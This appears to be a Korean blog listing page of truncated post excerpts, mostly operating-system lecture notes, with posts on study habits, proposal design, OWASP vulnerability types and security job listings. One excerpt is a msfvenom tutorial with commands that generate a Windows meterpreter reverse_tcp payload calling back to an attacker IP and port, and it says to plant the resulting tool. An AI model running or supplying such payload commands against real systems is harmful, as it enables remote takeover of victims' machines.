BOX

Multithreading 1 외부에서 입력을 받았을 때 그것을 처리하는 server의 architecture을 살펴보겠습니다.Server Architecture- Interative Server: 서버가 깨어나서 메세지큐에서 리퀘스트 받아다가 스스로 처리- Concurrent Server: 메세지큐에서 리퀘스트를 받으면 그 일을 처리해주는 워커 프로세스(Child)를 생성하여 처리하게 함 Worker Process를 사용해 구현한 Concurrent Server의 단점처리할 요청의 수 만큼 프로세스를 생성해야 하기 때문에 시스템에 큰 부담이 발생 Multithreading의 목적Concurrency는 높이면서 Execution Unit을 생성하거나 수행시키는데 드는 부담을 줄임 시스템 전체를 설계하는데..

Context Switching : Abstraction and Decomposition 구현하기 위해 생각해야 할 것Program = Data Structure + Algorithm OS를 이해하기 위해 이해해야 할 것Complexity = Abstraction + Decomposition Abstraction을 도입해서 S/W 시스템을 설계해보면 자연스럽게 Layered Architecture가 나오게 됩니다.Layered Architecture 바닥에는 H/W가 있고 그 위에 OS 있고 그 위에 Middleware가 있고 그 위에 Application들이 수행하게 됩니다. 이 Layered Architecture에서 각 Layer의 역할은 뭘까요?OS의 역할은? 아래 복잡한 H/W를 보이지 않게 해..

Process Implementation : Process Scheduling Dispatcher: 유저프로그램과 유저프로그램이 수행되는 중간에 개입을 해서 CPU를 Process A에서 B로 넘겨주는 역할을 함이때 가장 중요한 것은 Dispatcher가 수행되기 위해서는 CPU를 차지해야 한다는 점임다시 말해 CPU에 대한 점유권 CPU에 대한 Control이 유저프로그램에서 Dispatcher로 Dispatcher에서 다시 유저프로그램으로 넘어가야 한다. Dispatcher가 수행된다는 것은 Kernel로 execution control이 진입을 하는 것임그리고 유저프로그램으로 execution control이 넘어가는 것을 의미함유저모드에서 커널로 모드 change하려면 interrupt 가 필요 ..

Process Concept(1) Process는 OS 위에서 프로그램을 수행시키는 기본 주체(run time system의 수행 주체)run time system의 수행 주체는 CPU나 여러가지 자원을 할당 받는 주체OS의 관점에서 Process 는 가장 중요한 단위다 Decomposition: 복잡한 문제를 단순한 여러 개의 문제로 나누어 처리하는 방법론이 Decomposition의 unit이 process임 OS를 만들 때 핵심기술 2가지1. Abstraction(추상화)2. Decomposition(분해) Process: Program in execution 수행중인 프로그램 프로세스가 수행이 되려면 3가지 정보를 유지하고 있어야 함이 정보들이 process state가 됨1. Memory- Co..

Computer Systems Architecture 운영체제는 하드웨어와 제일먼저 interaction하는 소프트웨어임그래서 하드웨어 대한 기본적인 이해와 지식이 필요함프로그래머의 관점에서 하드웨어에 대한 이해가 있어야 함 목차- 전체적인 하드웨어 시스템 Architecture를 살펴보고- 하드웨어 메커니즘 중이 가장 중요한 interrupt에 대해 알아보고- OS이 정부의 역할을 한다면 그 재산이 바로 하드웨어 하드웨어를 안전하게 운영하는 법이 중요하기 때문에 하드웨어의 protection(보호)관점에서 interaction(사호작용)이 하드웨어와 OS간에 있는지 살펴보겠음 [컴퓨터의 기본적인 구성 요소] 컴퓨터의 가장 기본적인 구성 요소 (CPU, Memory, I/O device) - 3대 요소이..

공부방법 수업 시작하기 전! 공부방법에 대한 조언어떻게 공부하는지 2가지 예시를 들어 보겠음. Phase1 시기에 OS이 어떻게 발전하는 가? 지식의 소비자- 1955년도에 첫번째 OS이 등장했는데, 그것은 simple batch monitor 였다.- I/O Channel과 interrupt 기능을 도입해서 좀 더 복잡한 batch monitor가 등장했다.- 1950년대말 60년대 초반에는 multiprogrammed batch monitor가 나왔다.- 근데 거기에는 Relocation, memory protection, concurrent programming 문제가 있다.- 이렇게 팩트들을 그냥 받아들이고 학습하는 것은 생산자가 될 수 없다. 지식의 생산자- 왜 이런 팩트들이 발생하였는가 원인과..

msfvenom# type msfvenom# msfvenom -l # msfvenom -l payload msf를 이용한 악성 도구 제작 # msfvenom -l : payload, encorder, nop 등의 모듈 정보 확인# msfvenom -p windows/meterpreter/reverse_tcp lhost=Attacker_IP lport=Attacker_PORT -f -o File_NAME 악성도구가 만들어졌으니 심어주면 됨.어태커는 서버용 프로그램 준비만 하면 됨. # msfvenom -l payload * 작성될 shell code 보기# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.3.116 lport=2000 -f c * PE..

DNS 구축 - 해킹 연습할 사이트 구축- 보안위협탐지준비 13 # ps -ef | grep named # vi /etc/named.conf--------------------------------------------options { directory "/var/named";allow}; zone "." in { type hint; file "named.root";}; zone "jenny.com" in { type master; file "jenny.zone";}; zone "3.168.192.in-addr.arpa" in { type master; file "jenny.rzone";}; zone "0.0.127.in-addr.arpa" in { type master; file "loopback.rz..

1.1 Batch Monitor목적- Operating System이 제공하는 여러가지 기능들을 알아보고- 그런 기능을 구현하는데 필요한 Computer Science 적인 이론이나 practice들을 공부할 예정- 결과로 Operating System의 여러가지 기능과 내부구조를 공부하고 이를 통해서 Operating System이나 다른 복잡한 소프트웨어 시스템을 잘 개발할 수 있는 능력을 키우고자 함. Operating System의 여러가지 측면을 하나씩 볼 예정1. Operating System이 과거부터 현재까지 진화해온 과정을 보겠음 - OS의 진화의 원인이 됐던 요인들을 파악하고 - 그 결과로 OS의 변화가 생겨났는지를 공부해 보겠음. - OS 진화과정을 3단계로 나눠 살펴볼 예정 1) 처..

깔끔한 제안서를 만드는 실용적인 팁 10가지 이번 제안 프레젠테이션 프로젝트를 진행하면서 소소하게 얘기해주고 싶은 팁들이 많이 나와 소개하고 넘어간다. 이번 프레젠테이션은 주최 측이 제안서의 목차와 분량을 RFP에 미리 정해놓았다. 준비 초기에 난 제안서와 프레젠테이션 문서를 따로 만들기로 결정했다. 주최 측의 목차는 논리적으로 조각이 나 있고 우리가 짜 넣을 스토리구조에 맞지 않는다고 판단하였기 때문이다. 1. 클립아트 스타일주요 등장인물들(가령 ‘고객’과 같은)을 어떻게 표현할까 고민하였다. 사진, 일러스트, 아이콘, 도형이 쓰일 수 있는데 각기 장단점이 있다. ◦ 사진은 강렬하다. 보다시피 표정이 있고 인종, 나이와 성별을 대략 짐작할 수 있으며 행색으로 미루어 이 사람의 사회적 위치까지 짐작할 수..

취약점 유형 대상 : 주요 정보시스템(서버, 네트워크, 정보보호시스템, WEB, DBMS, 기타 정보자산)취약점 유형 : OWASP Top10, 국정원 8대 취약점, SANS Top25 1. OWASP Top 10 - https://www.owasp.org/- 국제 웹 보안 표준기구로 정기적으로 웹 해킹 위협의 동향을 발표- OWASP : The Open Web Application Security Project 1.XSS2.Injection Flaws3.악성 파일 실행4.불안전한 직접 객체 참조5.Cross-Site Request Forgery6.정보유출 및 부적절한 오류7.취약한 인증 및 세션 관리8.불안전한 암호화 저장9.불안전한 통신10.URL 접속 제한 실패 2. 국정원 8대 취약점1. 디렉토리..

직무 분석 우대출처 - 사람인 이지스아이티 채용공고 1. 모의해킹(기술컨설턴트)출처 - 사람인 이지스아이티 채용공고 출처 - 사람인 SK인포섹 채용공고 출처 - 사람인 에이쓰리 채용공고 출처 - 사람인 한국정보시스템 채용공고 2. 정보보안/정보보호 컨설턴트출처 - SSR 채용정보 출처 - 사람인 이지스아이티 채용공고 출처 - 사람인 SK인포섹 채용공고 출처 - 사람인 한국정보시스템 채용공고 출처 - 사람인 에이쓰리 채용공고 출처 - 사람인 한시큐리티 채용공고 3. 보안진단출처 - 사람인 SK인포섹 채용공고 4. 자세한 설명KCA 웹취약점진단 ➤ http://www.kca21.com/kca/security0201/KCA 소스코드보안취약점진단 ➤ http://www.kca21.com/kca/security0..